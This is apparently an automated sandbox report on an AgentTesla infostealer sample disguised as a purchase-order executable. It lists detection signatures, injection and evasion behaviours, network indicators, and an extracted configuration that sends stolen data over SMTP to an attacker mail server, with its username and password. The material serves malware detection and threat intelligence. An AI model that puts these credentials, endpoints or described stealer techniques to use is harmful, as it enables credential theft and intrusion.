Edit tour

Windows Analysis Report
PO-065-01-2024E-2.exe

Overview

General Information

Sample name:	PO-065-01-2024E-2.exe
Analysis ID:	1406751
MD5:	ee63acfdf27065e435d5f8379e54f929
SHA1:	7a286fca3c1a70da8de4de58f66d98d95da7c57f
SHA256:	578670ed39942f595787407e026566e2156c46caf72a02c433b558c6d5218278
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

Check if machine is in data center or colocation facility

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many ports of the same IP (likely port scanning)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Suspicious Outbound Kerberos Connection

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Suspicious Outbound SMTP Connections

Tries to load missing DLLs

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

PO-065-01-2024E-2.exe (PID: 7816 cmdline: C:\Users\user\Desktop\PO-065-01-2024E-2.exe MD5: EE63ACFDF27065E435D5F8379E54F929)

CasPol.exe (PID: 43836 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)

WerFault.exe (PID: 8032 cmdline: C:\Windows\system32\WerFault.exe -u -p 7816 -s 109588 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.supplyvan.xyz", "Username": "otu@supplyvan.xyz", "Password": "Ifeanyi1987@"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.2489366666.000000000342E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2486744506.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2486744506.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.2489366666.0000000003401000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2489366666.0000000003401000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CasPol.exe PID: 43836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CasPol.exe PID: 43836	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.CasPol.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.CasPol.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.CasPol.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.CasPol.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34257:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x342c9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34353:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x343e5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3444f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x344c1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34557:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x345e7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548

Sigma Signatures

System Summary

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Source: Network Connection

Author: Markus Neis: Data: DestinationIp: 119.91.214.119, DestinationIsIpv6: false, DestinationPort: 3389, EventID: 3, Image: C:\Users\user\Desktop\PO-065-01-2024E-2.exe, Initiated: true, ProcessId: 7816, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 51307

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.201, DestinationIsIpv6: false, DestinationPort: 4444, EventID: 3, Image: C:\Users\user\Desktop\PO-065-01-2024E-2.exe, Initiated: true, ProcessId: 7816, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49871

Sigma detected: Suspicious Outbound Kerberos Connection

Source: Network Connection

Author: Ilyas Ochkov, oscd.community: Data: DestinationIp: 5.161.103.41, DestinationIsIpv6: false, DestinationPort: 88, EventID: 3, Image: C:\Users\user\Desktop\PO-065-01-2024E-2.exe, Initiated: true, ProcessId: 7816, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 51975

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 103.141.66.78, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Users\user\Desktop\PO-065-01-2024E-2.exe, Initiated: true, ProcessId: 7816, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49713

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 160.248.80.91, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\PO-065-01-2024E-2.exe, Initiated: true, ProcessId: 7816, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49720

Snort Signatures

ETPRO TROJAN DNS Query to Hello2Malware Domain - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	03/11/24-16:39:51.082297
SID:	2856462
Source Port:	60783
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN DNS Query to Hello2Malware Domain - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	03/11/24-16:39:51.082297
SID:	2856398
Source Port:	60783
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed Hello2Malware Domain - Source IP: 192.168.2.10 - Destination IP: 172.67.190.93

Timestamp:	03/11/24-16:39:51.280804
SID:	2856401
Source Port:	54313
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI - Source IP: 192.168.2.10 - Destination IP: 172.67.190.93

Timestamp:	03/11/24-16:39:51.280804
SID:	2856465
Source Port:	54313
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PO-065-01-2024E-2.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://1.179.148.9:55636

Avira URL Cloud: Label: malware

Found malware configuration

Source: 8.2.CasPol.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.supplyvan.xyz", "Username": "otu@supplyvan.xyz", "Password": "Ifeanyi1987@"}

Multi AV Scanner detection for submitted file

Source: PO-065-01-2024E-2.exe

ReversingLabs: Detection: 55%

Machine Learning detection for sample

Source: PO-065-01-2024E-2.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.10:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.10:51274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.10:54313 version: TLS 1.2

Source: PO-065-01-2024E-2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\user\Desktop\PO-065-01-2024E-2.PDB` source: PO-065-01-2024E-2.exe, 00000000.00000002.2525725826.0000006A2D2F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: PO-065-01-2024E-2.PDBj source: PO-065-01-2024E-2.exe, 00000000.00000002.2525725826.0000006A2D2F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: /-jpC:\Users\user\Desktop\PO-065-01-2024E-2.PDB source: PO-065-01-2024E-2.exe, 00000000.00000002.2525725826.0000006A2D2F3000.00000004.00000010.00020000.00000000.sdmp

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856462 ETPRO TROJAN DNS Query to Hello2Malware Domain 192.168.2.10:60783 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2856398 ETPRO TROJAN DNS Query to Hello2Malware Domain 192.168.2.10:60783 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2856465 ETPRO TROJAN Observed Hello2Malware Domain in TLS SNI 192.168.2.10:54313 -> 172.67.190.93:443
Source: Traffic	Snort IDS: 2856401 ETPRO TROJAN Observed Hello2Malware Domain 192.168.2.10:54313 -> 172.67.190.93:443

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic	TCP traffic: Count: 11 IPs: 212.110.188.222,212.110.188.189,212.110.188.211,212.110.188.213,212.110.188.202,212.110.188.198,212.110.188.220,212.110.188.193,212.110.188.195,212.110.188.216,212.110.188.207
Source: global traffic	TCP traffic: Count: 12 IPs: 103.47.93.236,103.47.93.225,103.47.93.219,103.47.93.216,103.47.93.194,103.47.93.25,103.47.93.221,103.47.93.210,103.47.93.242,103.47.93.231,103.47.93.220,103.47.93.252
Source: global traffic	TCP traffic: Count: 15 IPs: 188.132.222.171,188.132.222.194,188.132.222.141,188.132.222.7,188.132.222.167,188.132.222.9,188.132.222.3,188.132.222.52,188.132.222.5,188.132.222.40,188.132.222.51,188.132.222.39,188.132.222.38,188.132.222.12,188.132.222.14
Source: global traffic	TCP traffic: Count: 10 IPs: 72.10.160.170,72.10.160.91,72.10.160.90,72.10.160.174,72.10.160.173,72.10.160.172,72.10.160.171,72.10.160.93,72.10.160.92,72.10.160.94
Source: global traffic	TCP traffic: Count: 10 IPs: 184.178.172.13,184.178.172.23,184.178.172.26,184.178.172.14,184.178.172.25,184.178.172.17,184.178.172.28,184.178.172.3,184.178.172.5,184.178.172.18

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 103.216.51.36 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 62.171.131.101 ports 41055,25847,44827,29497,2,4,5,7,8
Source: global traffic	TCP traffic: 45.11.95.166 ports 6012,6014,6003,6002,6005,6004,6015,0,1,4,6,6009,6008
Source: global traffic	TCP traffic: 173.212.209.216 ports 27138,1,2,3,7,8
Source: global traffic	TCP traffic: 45.11.95.165 ports 6010,6012,5034,5045,5212,5036,5213,5040,1,2,5,5038,5214,5039,5219
Source: global traffic	TCP traffic: 207.180.234.220 ports 45876,48963,39323,42823,36946,3,6,7,39737,37736
Source: global traffic	TCP traffic: 67.213.210.118 ports 2,58703,4,5,9,54924
Source: global traffic	TCP traffic: 132.148.245.247 ports 7183,1,60349,3,26295,7,8
Source: global traffic	TCP traffic: 107.180.95.177 ports 64731,63951,1,3,5,6,9,7128,1405
Source: global traffic	TCP traffic: 148.72.23.56 ports 42312,36111,3260,0,6,60069,9,4833
Source: global traffic	TCP traffic: 164.92.86.113 ports 64110,63358,62987,57391,1,55651,3,5,7,9,50564,60283
Source: global traffic	TCP traffic: 162.214.102.195 ports 34227,2,56755,3,4,7,60891,50366
Source: global traffic	TCP traffic: 203.96.177.211 ports 12183,43839,3,4,5,55005,8,48553,15901
Source: global traffic	TCP traffic: 107.180.88.173 ports 44568,0,2,5,35774,59820,8,9,36503
Source: global traffic	TCP traffic: 162.241.6.97 ports 41274,46783,44607,59991,45629,0,31794,4,6,50563,7,60651
Source: global traffic	TCP traffic: 72.167.38.7 ports 15410,45650,0,1,2,8,9,19802
Source: global traffic	TCP traffic: 162.241.158.204 ports 63360,41274,46783,44607,59991,1,31794,2,4,52980,50563,7,60651
Source: global traffic	TCP traffic: 37.187.77.58 ports 64494,14470,49507,21861,59870,0,52593,31355,1,3139,7,18936,13412,13574,37920,19767,10710,29380
Source: global traffic	TCP traffic: 92.204.135.37 ports 26927,63462,16591,8623,22942,0,62969,1,58604,5,9,20491,55019,34824,32524,33899
Source: global traffic	TCP traffic: 82.223.121.72 ports 15464,64871,11075,27137,4,5,56002,8,9,4985
Source: global traffic	TCP traffic: 72.10.160.90 ports 18333,29967,23685,29129,29529,1811,2589,24397,10055,17893,29919,21011,9335,29813,3051,29517,0,1,3601,29197,3,5,9,16205,4337,30951
Source: global traffic	TCP traffic: 72.10.160.92 ports 28709,5123,5,26077,7,5775
Source: global traffic	TCP traffic: 72.10.160.170 ports 5385,5321,26887,29585,3,31571,28257,5,8,3801
Source: global traffic	TCP traffic: 72.10.160.173 ports 0,1,1795,6,7,10677
Source: global traffic	TCP traffic: 72.10.160.171 ports 2881,26315,1,2,3,31571,5,6,5369
Source: global traffic	TCP traffic: 62.182.114.164 ports 2,3,5,6,59623,9
Source: global traffic	TCP traffic: 51.222.241.157 ports 40351,22538,44029,51718,36363,27206,0,1,3,4,5,30011,2563,46286
Source: global traffic	TCP traffic: 162.214.90.49 ports 51918,0,4,5,58740,7,8,46430
Source: global traffic	TCP traffic: 128.199.221.91 ports 7176,49865,8004,33383,21605,4,5,6,8,9
Source: global traffic	TCP traffic: 160.248.80.91 ports 8080,2525,587,5,7,8,80
Source: global traffic	TCP traffic: 191.103.219.225 ports 48612,1,2,4,6,8
Source: global traffic	TCP traffic: 163.172.131.178 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 167.172.109.12 ports 39452,46249,39533,37355,40825,3,5,7,41491
Source: global traffic	TCP traffic: 88.211.85.169 ports 42931,1,2,3,4,9
Source: global traffic	TCP traffic: 107.180.88.41 ports 37597,62578,24834,2,3,4,58037,57642,8
Source: global traffic	TCP traffic: 162.214.227.68 ports 43435,48414,63112,45540,34071,55392,0,1,3,4,55029,31042,60433,7,54047,56796,31825,37976,51923,52208
Source: global traffic	TCP traffic: 148.72.206.84 ports 2536,2,3,5,6,58842
Source: global traffic	TCP traffic: 207.180.198.241 ports 42581,37443,45718,1,2,57327,4,60148,5,8,17228,37209
Source: global traffic	TCP traffic: 161.97.163.52 ports 64120,9045,18693,40301,32092,64109,0,30189,1,2,1798,31125,4,22040,34586,6,29631,55109,34916
Source: global traffic	TCP traffic: 162.241.137.197 ports 0,2,34455,6,60200,36534,61041
Source: global traffic	TCP traffic: 91.142.222.84 ports 22735,57041,2,3,5,7,12266,55718
Source: global traffic	TCP traffic: 103.28.121.58 ports 1,2,3,3128,8,80
Source: global traffic	TCP traffic: 83.151.4.172 ports 47036,0,3,4,6,7
Source: global traffic	TCP traffic: 41.33.203.115 ports 1,1974,1973,4,7,9
Source: global traffic	TCP traffic: 131.0.87.225 ports 0,1,2,5,7,52017
Source: global traffic	TCP traffic: 98.162.25.29 ports 1,3,6,7,9,31679
Source: global traffic	TCP traffic: 51.158.77.220 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.214.225.223 ports 37581,54917,43435,63452,49227,43265,49806,34071,58240,40536,0,36129,53340,4,55029,6,8,9,50753,39824
Source: global traffic	TCP traffic: 51.222.241.8 ports 36219,1,2,62916,6,9
Source: global traffic	TCP traffic: 103.35.189.217 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 41.217.220.214 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 86.110.189.118 ports 42539,2,3,4,5,9
Source: global traffic	TCP traffic: 162.241.50.179 ports 49858,40179,34099,3,6,7,8,48156,37876,53755,31414,35948
Source: global traffic	TCP traffic: 51.158.108.134 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 163.172.137.49 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 51.158.124.167 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 103.212.93.241 ports 45639,3,4,5,6,9
Source: global traffic	TCP traffic: 108.181.132.117 ports 34560,0,3,4,5,6
Source: global traffic	TCP traffic: 146.59.18.246 ports 9755,15860,40975,25810,0,30673,4,5,7,9,49871
Source: global traffic	TCP traffic: 148.66.130.53 ports 8268,31907,7830,56350,23998,0,3,5,6,47891,13305,54209
Source: global traffic	TCP traffic: 50.63.12.33 ports 9367,23859,0,2,25492,14738,4,50781,5,22450
Source: global traffic	TCP traffic: 51.158.108.165 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 51.89.173.40 ports 17982,27887,3100,44719,26545,23313,54570,23854,20435,1,30199,55198,60775,5,8,51511,9,11058,31724
Source: global traffic	TCP traffic: 206.189.145.23 ports 49614,63625,59867,1,4,6,9
Source: global traffic	TCP traffic: 167.86.102.169 ports 1,2,3,6,8,16823
Source: global traffic	TCP traffic: 147.75.92.251 ports 9401,0,1,4,9,10010,10089
Source: global traffic	TCP traffic: 159.223.71.71 ports 59243,56581,59098,2,3,4,61818,59159,52542,5,51187,60377,9,51616
Source: global traffic	TCP traffic: 34.93.157.87 ports 21802,0,1,2,8,8514
Source: global traffic	TCP traffic: 146.59.147.11 ports 62801,0,1,2,6,8
Source: global traffic	TCP traffic: 213.136.79.177 ports 38772,5189,64556,32930,2,3,35358,7,8,13675
Source: global traffic	TCP traffic: 217.52.247.86 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 45.77.111.135 ports 15082,0,1,2,5,8
Source: global traffic	TCP traffic: 38.54.95.19 ports 8060,0,3128,9080,8,9
Source: global traffic	TCP traffic: 109.75.34.152 ports 59341,1,3,4,5,9
Source: global traffic	TCP traffic: 162.214.121.173 ports 64579,44826,35183,4,5,6,33572,7,9,52577,64382
Source: global traffic	TCP traffic: 20.24.43.214 ports 8123,1,2,3,8,80
Source: global traffic	TCP traffic: 202.40.181.220 ports 1,2,31247,3,4,7
Source: global traffic	TCP traffic: 92.205.61.38 ports 21286,4300,36073,1,2,24183,3,4,8
Source: global traffic	TCP traffic: 162.241.46.40 ports 64353,49401,56241,61579,0,1,4,9,46097
Source: global traffic	TCP traffic: 46.105.44.29 ports 64523,2,3,4,5,6
Source: global traffic	TCP traffic: 195.154.43.184 ports 19058,0,1,5,8,9
Source: global traffic	TCP traffic: 64.227.108.182 ports 14287,1,2,4,7,8
Source: global traffic	TCP traffic: 41.65.55.10 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 208.109.14.49 ports 46047,37377,22881,1,2,50540,8,42072
Source: global traffic	TCP traffic: 5.252.23.249 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 38.54.116.9 ports 8080,1,2,3,3128,8,8118
Source: global traffic	TCP traffic: 45.117.179.179 ports 6522,14791,27836,2,35942,5,6,55606
Source: global traffic	TCP traffic: 203.161.32.242 ports 61070,0,4,5,6,50640,52903
Source: global traffic	TCP traffic: 104.128.103.32 ports 64312,1,2,3,4,6
Source: global traffic	TCP traffic: 163.172.147.9 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 163.172.165.36 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 132.148.128.88 ports 26606,8595,29745,20317,2,4,5,29313,7,9
Source: global traffic	TCP traffic: 5.252.23.220 ports 1080,1081,0,1,3128,8
Source: global traffic	TCP traffic: 58.234.116.197 ports 8193,8197,1,7,8,80,9
Source: global traffic	TCP traffic: 51.15.234.222 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 94.23.220.136 ports 43751,25256,2,5,6,29295
Source: global traffic	TCP traffic: 162.241.46.6 ports 41442,62244,60708,34172,0,50062,2,53477,5,6,46097
Source: global traffic	TCP traffic: 162.241.53.72 ports 57495,57364,3,4,5,6,7,53755,62192
Source: global traffic	TCP traffic: 162.215.219.157 ports 41697,48117,1,4,7,8
Source: global traffic	TCP traffic: 147.124.212.31 ports 11070,13276,0,1,24230,7,16844,30479,36779,51825
Source: global traffic	TCP traffic: 121.139.218.165 ports 0,1,3,4,9,31409
Source: global traffic	TCP traffic: 216.10.242.18 ports 40571,15881,0,1,4,5,7,30670
Source: global traffic	TCP traffic: 104.238.111.107 ports 5484,5452,45883,3230,26305,23667,56225,30026,4,5,8,53777,7999
Source: global traffic	TCP traffic: 51.158.96.66 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 43.255.113.232 ports 8082,8083,5,8,80,84,85
Source: global traffic	TCP traffic: 103.176.116.171 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 161.97.170.209 ports 24606,1,2,6,9,62291
Source: global traffic	TCP traffic: 51.158.105.107 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 147.75.34.86 ports 0,10008,1,10007,3,10000,80,10003
Source: global traffic	TCP traffic: 104.247.163.246 ports 54094,3825,2,3,5,8
Source: global traffic	TCP traffic: 185.45.194.176 ports 27639,2,3,6,7,9
Source: global traffic	TCP traffic: 92.204.134.38 ports 52929,25825,9375,15393,7785,42571,25675,29718,3,1555,56177,5,54467,28695,7,51123,30747,9
Source: global traffic	TCP traffic: 52.67.10.183 ports 1,2,3,3128,8,80
Source: global traffic	TCP traffic: 128.199.196.31 ports 21049,0,1,2,27102,7,33661,38832,57715
Source: global traffic	TCP traffic: 88.202.230.103 ports 17045,8896,0,1,13638,4,5,7
Source: global traffic	TCP traffic: 51.15.254.129 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.144.36.208 ports 27829,38242,2,3,4,27531,8
Source: global traffic	TCP traffic: 198.23.229.203 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 132.148.245.169 ports 19483,1,3,7,8,38117
Source: global traffic	TCP traffic: 72.167.222.113 ports 12581,2,4,8,4125,9,48892
Source: global traffic	TCP traffic: 67.43.227.228 ports 19599,15079,13141,9039,0,3,26353,9
Source: global traffic	TCP traffic: 67.43.227.227 ports 28723,25127,23973,9053,32445,1,4,2411,7,14751,8811,4711,1959,13537,12723,29095,10049
Source: global traffic	TCP traffic: 67.43.227.226 ports 25639,5791,15143,28847,2,3,5,6,9
Source: global traffic	TCP traffic: 51.79.87.144 ports 41230,8533,22500,41746,0,2,54395,5,18636
Source: global traffic	TCP traffic: 51.68.164.77 ports 16892,2,3,4,8,54504,32824
Source: global traffic	TCP traffic: 159.223.166.21 ports 5078,5199,1372,21898,1,2,3,25154,7,47460
Source: global traffic	TCP traffic: 31.24.44.92 ports 1,2,52173,3,5,7,50687,50109
Source: global traffic	TCP traffic: 67.43.227.230 ports 23685,25491,1,2,4,5,9
Source: global traffic	TCP traffic: 94.131.106.196 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 75.119.145.169 ports 38023,61344,61553,1,3,4,6
Source: global traffic	TCP traffic: 43.155.165.196 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 67.43.228.254 ports 1,2,32221,7,28971,8,9
Source: global traffic	TCP traffic: 67.43.228.253 ports 14493,7853,26323,24279,0,1,26087,14869,3,31033,28993,5633,1807,6879,3933,9827
Source: global traffic	TCP traffic: 67.43.228.252 ports 4495,4,1499,5,28695,9
Source: global traffic	TCP traffic: 67.43.228.251 ports 24279,0,11339,2,26087,6,7,1265,8
Source: global traffic	TCP traffic: 104.248.158.78 ports 47225,62952,61725,2,5,6,9
Source: global traffic	TCP traffic: 119.81.71.27 ports 8123,1,2,3,8,80
Source: global traffic	TCP traffic: 23.95.209.142 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 92.204.136.149 ports 16691,25137,1,16928,6,53035,9
Source: global traffic	TCP traffic: 148.72.209.174 ports 38088,39027,1,64938,2,4,29544,6,39458,2906,16203,4734,12446
Source: global traffic	TCP traffic: 132.148.167.231 ports 46983,3,4,6,8,9
Source: global traffic	TCP traffic: 198.12.255.193 ports 22785,1,2,6,8,6821,51612
Source: global traffic	TCP traffic: 51.161.131.84 ports 63055,25843,43712,0,58612,2,4,49202,9,19987
Source: global traffic	TCP traffic: 117.160.250.163 ports 8080,8081,9990,0,80,9,81,82,9999,8828
Source: global traffic	TCP traffic: 51.75.126.150 ports 36580,19693,36694,15474,3,11802,4,35632,6,34144,9,4228,37847
Source: global traffic	TCP traffic: 211.222.252.187 ports 8193,8080,8197,1,3,8,80,9
Source: global traffic	TCP traffic: 186.215.87.194 ports 8893,6034,8891,6022,0,2,6,6029
Source: global traffic	TCP traffic: 37.32.98.160 ports 3,5,7,8,8998,37758
Source: global traffic	TCP traffic: 132.148.129.254 ports 9553,0,1,6,7,8,60781
Source: global traffic	TCP traffic: 195.154.243.38 ports 4,5,6,8,9,49685
Source: global traffic	TCP traffic: 64.227.108.25 ports 31908,0,1,3,8,9
Source: global traffic	TCP traffic: 67.43.236.18 ports 17145,13087,7797,22645,1,30333,4,5,7,5879
Source: global traffic	TCP traffic: 135.148.10.161 ports 51507,41146,3970,0,31696,1,5,7,6716
Source: global traffic	TCP traffic: 213.136.78.200 ports 28513,1,2,3,5,8,19925
Source: global traffic	TCP traffic: 67.43.236.20 ports 3335,31295,26693,5239,31733,8705,6705,24725,20001,25917,13175,6961,3011,12627,1,16829,2,3,2973,5,3389,10363,9,18129
Source: global traffic	TCP traffic: 72.10.164.178 ports 13341,30717,18067,11251,22017,0,1,1403,10801,2675,6,1431,7,8,13477,1929,30911,5931,29471,10235,5935,8837,5529
Source: global traffic	TCP traffic: 43.129.228.46 ports 7891,7890,1,7,8,9
Source: global traffic	TCP traffic: 171.244.140.160 ports 15141,13391,5189,62310,14253,24015,0,3,4,27056,7,37400,53749
Source: global traffic	TCP traffic: 95.217.104.21 ports 24815,1,2,4,5,8
Source: global traffic	TCP traffic: 51.158.64.130 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.214.197.102 ports 51918,42019,0,4,5,58740,7,8
Source: global traffic	TCP traffic: 142.4.7.20 ports 43100,0,1,10722,3,4
Source: global traffic	TCP traffic: 163.172.171.22 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.144.121.232 ports 16795,24787,2,27262,6,7,19404
Source: global traffic	TCP traffic: 91.134.140.160 ports 20896,16487,48962,49687,2572,56495,57320,27207,9141,0,32896,32588,53012,2,11946,30895,7,8879,5401,12217,49042
Source: global traffic	TCP traffic: 160.153.245.187 ports 38586,3,35138,59786,5,6,8,6116,5436,31745
Source: global traffic	TCP traffic: 72.195.34.60 ports 1,2,3,7,9,27391
Source: global traffic	TCP traffic: 43.131.245.216 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 170.244.64.12 ports 31476,1,3,4,6,7
Source: global traffic	TCP traffic: 45.81.232.17 ports 27855,59421,54393,9165,23711,0,4,5,6,7,23363,47056,21481,17639,14669,48085
Source: global traffic	TCP traffic: 92.205.110.118 ports 42086,18374,15430,0,1,3,26570,4,5,53903
Source: global traffic	TCP traffic: 51.15.142.4 ports 1,3,6,7,9,16379

Performs DNS queries to domains with low reputation

